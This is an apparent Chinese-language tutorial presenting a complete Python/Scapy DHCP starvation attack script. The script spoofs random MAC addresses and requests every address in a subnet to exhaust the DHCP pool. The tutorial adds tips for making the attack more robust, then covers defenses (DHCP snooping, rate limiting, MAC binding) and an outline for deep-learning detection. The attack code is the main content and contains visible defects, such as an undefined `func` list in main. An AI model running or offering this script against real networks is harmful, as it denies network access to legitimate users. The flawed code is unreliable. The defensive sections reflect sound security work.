简介
使用Python编写DHCP攻击脚本,通过Scapy库模拟发送和接收DHCP数据包。它首先获取网络中的DHCP服务器地址和子网掩码信息,然后实施DHCP地址抢占攻击,尝试分配并占用大量IP地址,从而导致合法客户端无法正常获取IP地址。
步骤
-
获取DHCP服务器IP:getdhcpip函数负责构造并发送一个DHCP发现请求包至全网广播地址(255.255.255.255),以获取DHCP服务器的响应。
-
监听并匹配DHCP响应:matchpacket函数监听网络流量,并过滤出目标为255.255.255.55的UDP数据包,从中提取出DHCP服务器的IP地址及当前子网掩码信息。
-
实施DHCP攻击:当获取到DHCP服务器IP与子网掩码后,dhcp_attack函数根据子网掩码计算可抢占的IP范围,然后针对每个可能的IP地址构造DHCP请求包,模拟多个客户端请求IP地址,从而发起DHCP地址抢占攻击。
-
多线程执行:main函数创建并启动多个线程,分别运行上述三个函数,确保同时进行DHCP服务器IP获取、响应匹配以及地址抢占攻击。
代码实现
#!/usr/bin/env python
from scapy.all import *
from time import ctime, sleep
from threading import Thread, Lock
import IPy
# 全局变量
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'
def getdhcpip():
"""
获取DHCP服务器的IP地址。
全局变量:flag, 用于控制循环的继续或停止
"""
global flag
print("[+] Geting The DHCP server IP Address!")
while flag == 0:
# 使用指定的网卡和随机的MAC地址发送DHCP发现请求
tap_interface = 'eth0'
src_mac_address = RandMAC()
ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_address, type=0x800)
ip = IP(src='0.0.0.0', dst='255.255.255.255')
udp = UDP(sport=68, dport=67)
fam, hw = get_if_raw_hwaddr(tap_interface)
bootp = BOOTP(chaddr=hw, ciaddr='0.0.0.0', xid=0x01020304, flags=1)
dhcp = DHCP(options=[("message-type", "discover"), "end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet, count=1, verbose=0)
sleep(0.1)
def matchpacket():
"""
监听网络,匹配DHCP服务器的响应。
全局变量:flag, dhcp_address, current_subnet
"""
global flag
global dhcp_address
global current_subnet
while flag == 0:
try:
# 捕获UDP包,过滤条件为UDP且目标地址为255.255.255.255
a = sniff(filter='udp and dst 255.255.255.255', iface='eth0', count=2)
current_subnet = a[1][1][3].options[1][1]
dhcp_address = a[1][1][0].src
# 如果获取到的DHCP服务器地址和子网掩码不为'0.0.0.0',则停止循环
if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
flag = 1
print("[+] The DHCP SERVER IP ADDRESS IS " + dhcp_address + "\r\n")
print("[+] CURRENT NETMASK IS " + current_subnet + "\r\n")
except:
pass # 忽略捕获到的异常
time.sleep(0.1)
def dhcp_attack():
"""
实施DHCP攻击,抢占网络地址。
全局变量:dhcp_address, current_subnet
"""
global dhcp_address
address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
address = address_info.split('/')[0]
address = address.replace('.0', '')
netmask = address_info.split('/')[1]
max_sub_number = 2 ** (32 - int(netmask)) - 2
bin_ip = address_info.split('/')[0].split('.')
ip_info = ''
for i in range(0, 4):
string = str(bin(int(bin_ip[i]))).replace('0b', '')
if (len(string) != 8):
for i in range(0, 8 - len(string)):
string = "0" + string
ip_info = ip_info + str(string)
for i in range(1, max_sub_number + 1):
ip = str(bin(int(ip_info, 2) + i))[2:]
need_address = str(int(ip[0:8], 2)) + '.' + str(int(ip[8:16], 2)) + '.' + str(int(ip[16:24], 2)) + '.' + str(
int(ip[24:32], 2))
rand_mac_address = RandMAC()
dhcp_attack_packet = Ether(src=rand_mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src='0.0.0.0',
dst='255.255.255.255') / UDP(
sport=68, dport=67) / BOOTP(chaddr=rand_mac_address) / DHCP(
options=[("message-type", 'request'), ("server_id", dhcp_address), ("requested_addr", need_address), "end"])
sendp(dhcp_attack_packet, verbose=0)
print("[+] USE IP: " + need_address + " Attacking " + dhcp_address + " Now!")
def main():
"""
创建线程并启动DHCP攻击。
"""
threads = []
for i in range(0, len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
dhcp_attack()
if __name__ == '__main__':
main()
print("[+] Attack Over!")
优化建议
-
错误处理与重试机制:增强代码健壮性,当获取DHCP服务器地址失败时,能重新尝试或停止攻击。
-
合理并发控制:调整并发策略,防止因频繁发送数据包引发网络拥塞。
-
有效性检查:对接收和使用的IP地址进行合理性验证,确保攻击范围不超出实际网络环境。
防御措施
- 路由器启用DHCP Snooping:限制非法DHCP请求,仅允许特定端口发出DHCP请求。
- 速率限制:对DHCP服务器接收请求的速度加以限制,避免短时间内遭受大量请求冲击。
- MAC地址绑定:配置DHCP服务器进行MAC地址与IP地址静态绑定,仅响应已知设备请求。
- 部署入侵检测系统:使用IDS监控异常DHCP流量,并及时采取行动阻断恶意行为。
使用深度学习检测攻击
使用深度学习检测DHCP耗尽攻击(DHCP Exhaustion Attack)通常涉及多个步骤,包括数据收集、特征工程、模型训练和实时监测。下面提一种实现方法:
- 数据收集:
- 从网络流量中抓取DHCP相关的数据包,例如:discover请求、offer响应、request请求、acknowledge响应等。
- 记录每个DHCP交互的时间戳、客户端MAC地址、分配的IP地址、交互频率等信息。
- 特征工程:
- 构建特征向量,如:单个客户端在一定时间内请求IP的数量、同一MAC地址请求速率的变化、DHCP池内剩余IP数量随时间变化情况、新出现MAC地址的频率等。
- 可能还包括利用聚类分析或统计异常值检测来识别不正常的DHCP活动模式。
- 构建深度学习模型:
- 使用深度学习模型(如RNN、LSTM、Autoencoder或其他时序模型)来处理时序数据,捕捉潜在的攻击模式。
- 或者结合卷积神经网络(CNN)来处理有结构的数据(如果DHCP报文可以转化为图像形式表示)。
- 模型训练:
- 利用正常DHCP通信记录和已知的攻击案例进行训练,让模型学会区分正常行为与恶意耗尽攻击。
- 对于无监督学习模型,可以训练其识别数据中的异常模式;对于有监督学习,则需要标记数据集以指示正常和攻击样本。
- 实时监测与预警:
- 将模型部署到实际环境中,实时监控DHCP服务器的行为和网络上的DHCP通信。
- 当模型预测到发生DHCP耗尽攻击的概率超过设定阈值时,触发警报并采取相应的防御措施。
- 评估与优化:
- 持续收集真实环境下的反馈数据,不断调整和优化模型参数,提高检测准确率和时效性。